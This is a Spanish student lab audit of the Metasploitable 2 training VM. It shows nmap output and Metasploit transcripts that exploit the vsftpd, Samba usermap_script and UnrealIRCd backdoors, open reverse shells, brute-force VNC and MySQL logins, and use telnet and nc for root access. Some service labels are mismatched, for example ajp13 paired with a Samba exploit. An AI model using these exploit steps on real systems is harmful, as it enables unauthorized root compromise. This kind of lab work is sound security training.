



# AUDITORIA METASPLOITABLE 2

C.E.S ACADEMIA LOPE DE VEGA

CFGS: 2º Administración de Sistemas Informáticos en Red

Curso: 2017/2018

Asignatura: Seguridad y Alta Disponibilidad

Prof. Miguel Angel González

Autor: Rafael Osuna Ventura

El objetivo de esta auditoría es explotar los diferentes servicios de la máquina Metasploitable 2. Para ello sabemos su dirección IP: 192.168.127.128.

Si realizamos un escaneo de puertos usando el comando ***“nmap -sV dirección IP de la víctima”*** , nos aparecen todos los puertos que están abiertos y los servicios correspondientes a dichos puertos, estos serán los que intentemos atacar.

```
root@kali:~# nmap -sV 192.168.127.128

Starting Nmap 7.40 ( https://nmap.org ) at 2018-02-05 18:56 CET
Nmap scan report for 192.168.127.128
Host is up (0.00071s latency).
Not shown: 977 closed ports
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            vsftpd 2.3.4
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet         Linux telnetd
25/tcp    open  smtp           Postfix smtpd
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind        2 (RPC #100000)
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec           netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  tcpwrapped
1099/tcp  open  rmiregistry    GNU Classpath grmiregistry
1524/tcp  open  shell          Metasploitable root shell
2049/tcp  open  nfs            2-4 (RPC #100003)
2121/tcp  open  ftp            ProFTPD 1.3.1
3306/tcp  open  mysql          MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  http           Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:30:A7:DB (VMware)
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.85 seconds
```

## EXPLOTACIÓN DE VULNERABILIDADES

1.- Se trata del servicio ftp en su versión vsftpd 2.3.4, es una puerta trasera que permite el acceso remoto a la máquina víctima. Usaremos el exploit: exploit/unix/ftp/vsftpd\_234\_backdoor.

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  RHOST     192.168.127.128 yes       The target address
  RPORT     21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  -
  0    Automatic

msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.127.128
RHOST => 192.168.127.128
msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  RHOST     192.168.127.128 yes       The target address
  RPORT     21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  -
  0    Automatic

msf exploit(vsftpd_234_backdoor) > set payload cmd/unix/interact
payload => cmd/unix/interact
msf exploit(vsftpd_234_backdoor) > exploit

[*] 192.168.127.128:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.127.128:21 - USER: 331 Please specify the password.
[+] 192.168.127.128:21 - Backdoor service has been spawned, handling...
[+] 192.168.127.128:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.127.129:34791 -> 192.168.127.128:6200) at 2018-02-05 19:10:55 +0100

id
uid=0(root) gid=0(root)
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr

usr
var
vmlinuz
cd /home
ls
ftp
msfadmin
service
user
mkdir entreEntusistema
```

Al realizar esto estaríamos creando un fichero en su máquina:

```
msfadmin@metasploitable:~$ cd /home
msfadmin@metasploitable:/home$ ls
entreEntusistema ftp msfadmin service user
msfadmin@metasploitable:/home$ _
```

2.- Servicio telnet en su versión Linux telnetd. Al intentar conectarnos mediante telnet, este nos da el usuario y contraseña pudiendo acceder así a la maquina victima.

```
root@kali:~# telnet 192.168.127.128
Trying 192.168.127.128...
Connected to 192.168.127.128.
Escape character is '^]'.

metasploitable

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Mon Feb  5 11:47:09 EST 2018 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
```

```
msfadmin@metasploitable:~$ pwd
/home/msfadmin
msfadmin@metasploitable:~$ cd ..
msfadmin@metasploitable:/home$ ls
entreEntusistema ftp msfadmin service user
msfadmin@metasploitable:/home$
```

3.-Servicio smtp en su versión Postfix smtpd. Nos muestra todos los usuarios que tiene el sistema usando el exploit:

```
msf > use auxiliary/scanner/smtp/smtp_enum

msf auxiliary(smtp_enum) > set RHOSTS 192.168.127.128
RHOSTS => 192.168.127.128
msf auxiliary(smtp_enum) > set THREADS 254
THREADS => 254
msf auxiliary(smtp_enum) > show options

Module options (auxiliary/scanner/smtp/smtp_enum):

  Name      Current Setting      Required  Description
  ----      -
  RHOSTS    192.168.127.128      yes       The target address range
or CIDR identifier
  RPORT     25                   yes       The target port (TCP)
  THREADS   254                  yes       The number of concurrent
threads
  UNIXONLY  true                 yes       Skip Microsoft bannered s
ervers when testing unix users
  USER_FILE /usr/share/metasploit-framework/data/wordlists/unix_users.txt yes       The file that contains a
list of probable users accounts.

msf auxiliary(smtp_enum) > run

[*] 192.168.127.128:25 - 192.168.127.128:25 Banner: 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
[+] 192.168.127.128:25 - 192.168.127.128:25 Users found: , backup, bin, daemon, distccd, ftp, games, gnats,
c, libuuid, list, lp, mail, man, news, nobody, postgres, postmaster, proxy, service, sshd, sync, sys, syslog,
per, uucomp, www-data
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smtp_enum) >
```



4.- Servicio mysql en su versión MYSQL 5.0.51, este creará una puerta trasera para ejecutar comando. Usaremos el exploit: auxiliary/mysql/mysql\_login. Este no nos da resultado.

```
msf > use auxiliary/scanner/mysql/mysql_login
msf auxiliary(mysql_login) > set PASS-FILE /var/tmp/pw.txt
PASS-FILE => /var/tmp/pw.txt
msf auxiliary(mysql_login) > set RHOSTS 192.168.127.128
RHOSTS => 192.168.127.128
msf auxiliary(mysql_login) > set USERNAME root
USERNAME => root
msf auxiliary(mysql_login) > exploit
[*] 192.168.127.128:3306 - 192.168.127.128:3306 - Found remote MySQL version 5.0.51a
[*] Error: 192.168.127.128: Metasploit::Framework::LoginScanner::Invalid Cred details can't be blank, Cred details can't be blank (Metasploit::Framework::LoginScanner::MySQL)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(mysql_login) >
```

Probamos a acceder con el comando “mysql -u root -p -h dirección ip de la víctima”:

```
root@kali:~# mysql -u root -p -h 192.168.127.128
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 9
Server version: 5.0.51a-3ubuntu5 (Ubuntu)

Copyright (c) 2000, 2016, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases
+-----+
| Database |
+-----+
| information_schema |
| dwwa      |
| metasploit |
| mysql     |
| owasp10   |
| tikiwiki  |
| tikiwiki195 |
+-----+
7 rows in set (0.00 sec)

MySQL [(none)]>
```

Como vemos podemos administrar las bases de datos que nos aparecen en la maquina victima.

```
mysql> show databases;
+-----+
| Database |
+-----+
| information_schema |
| dwwa          |
| metasploit     |
| mysql          |
| owasp10        |
| tikiwiki       |
| tikiwiki195    |
+-----+
7 rows in set (0.00 sec)

mysql>
```

5.- Servicio vnc en su versión VNC (protocol 3.3).Obtenemos la contraseña de lservidor VNC.Usaremos el exploit: auxiliary/scanner/vnc/vnc\_login

```
msf > search vnc
[!] Module database cache not built yet, using slow search
Matching Modules
=====
  Name                               Disclosure Date  Rank   Description
  ----                               -
  auxiliary/admin/vnc/realvnc_4l_bypass 2006-05-15      normal RealVNC NULL Authentication
  Mode Bypass
  auxiliary/scanner/vnc/vnc_login         normal          VNC Authentication Scanner
  auxiliary/scanner/vnc/vnc_none_auth     normal          VNC Authentication None Detection
  auxiliary/server/capture/vnc            normal          Authentication Capture: VNC
  exploit/multi/misc/legend_bot_exec      excellent       Legend Perl IRC Bot Remote Code Execution
  exploit/multi/vnc/vnc_keyboard_exec     great           VNC Keyboard Remote Code Execution
  exploit/windows/vnc/realvnc_client       normal          RealVNC 3.3.7 Client Buffer Overflow
  exploit/windows/vnc/ultravnc_client     normal          UltraVNC 1.0.1 Client Buffer Overflow
  exploit/windows/vnc/ultravnc_viewer_bof normal           UltraVNC 1.0.2 Client (vncviewer.exe) Buffer Overflow
  exploit/windows/vnc/winvnc_http_get     average         WinVNC Web Server GET Overflow
  payload/windows/vncinject/bind_hidden_ipknock_tcp normal          VNC Server (Reflective Injection), Hidden Bind IPKnock TCP Stager
  payload/windows/vncinject/bind_hidden_tcp normal          VNC Server (Reflective Injection), Hidden Bind TCP Stager
```

```
msf auxiliary(vnc_login) > set RHOSTS 192.168.127.128
RHOSTS => 192.168.127.128
msf auxiliary(vnc_login) > set BRUTEFORCE_SPEED 5
BRUTEFORCE_SPEED => 5
msf auxiliary(vnc_login) > exploit

[*] 192.168.127.128:5900 - 192.168.127.128:5900 - Starting VNC login sweep
[!] 192.168.127.128:5900 - No active DB -- Credential data will not be saved!
[+] 192.168.127.128:5900 - 192.168.127.128:5900 - LOGIN SUCCESSFUL: :password
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(vnc_login) >
```

6.- Servicio ajp13 en su versión Jserv v1.3. Permite ejecutar comandos. Usaremos el exploit: exploit/multi/samba/usermap\_script

```
msf > use exploit/multi/samba/usermap_script
msf exploit(usermap_script) > show options
Module options (exploit/multi/samba/usermap_script):
  Name      Current Setting  Required  Description
  ----      -
  RHOST     192.168.127.128 yes       The target address
  RPORT     139              yes       The target port (TCP)

Exploit target:
  Id  Name
  --  -
  0    Automatic

msf exploit(usermap_script) > set RHOST 192.168.127.128
RHOST => 192.168.127.128
msf exploit(usermap_script) > exploit

[*] Started reverse TCP double handler on 192.168.127.129:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo UN7RfYuu8FoEiXK;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "UN7RfYuu8FoEiXK\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.127.129:4444 -> 192.168.127.128:43472) at 2018-02-06 11:55:09 +0100

ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:30:a7:db
          inet addr:192.168.127.128  Bcast:192.168.127.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe30:a7db/64 Scope:Link
```

7.-Servicio irc en su versión unreal ircd. Creará una puerta trasera para la ejecución de comandos. Usaremos el exploit: exploit/unix/irc/unreal\_ircd\_3281\_backdoor

```
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.127.128
RHOST => 192.168.127.128
msf exploit(unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  RHOST     192.168.127.128  yes       The target address
  RPORT     6667             yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic Target

msf exploit(unreal_ircd_3281_backdoor) > exploit

[*] Started reverse TCP double handler on 192.168.127.129:4444
[*] 192.168.127.128:6667 - Connected to 192.168.127.128:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.127.128:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo pT2YuyTCLFRCs7TL;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "pT2YuyTCLFRCs7TL\r\n"
[*] Matching...
```

```
[*] A is input...
[*] Command shell session 1 opened (192.168.127.129:4444 -> 192.168.127.128:52096) at 2018-02-05 19:55:04 +0100

ls
Donation
LICENSE
aliases
badwords.channel.conf
badwords.message.conf
badwords.quit.conf
curl-ca-bundle.crt
dccallow.conf
doc
help.conf
ircd.log
ircd.pid
ircd.tune
modules
networks
spamfilter.conf
tmp
unreal
unrealircd.conf
```

8.- Servicio Shell en su versión Netkit rshd. Obtención de datos al conectarnos con la víctima. Usaremos el comando “nc ipcíctima puerto”

```
root@kali:~# nc 192.168.127.128 1524
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:/#
```

#### COSAS A CAMBIAR

- Servicios mal configurados: muchos servicios dan acceso al sistema operativo
- Puertas traseras: se pueden usar para obtener acceso al sistema operativo.
- Contraseñas débiles: son vulnerables a ataques de fuerza bruta.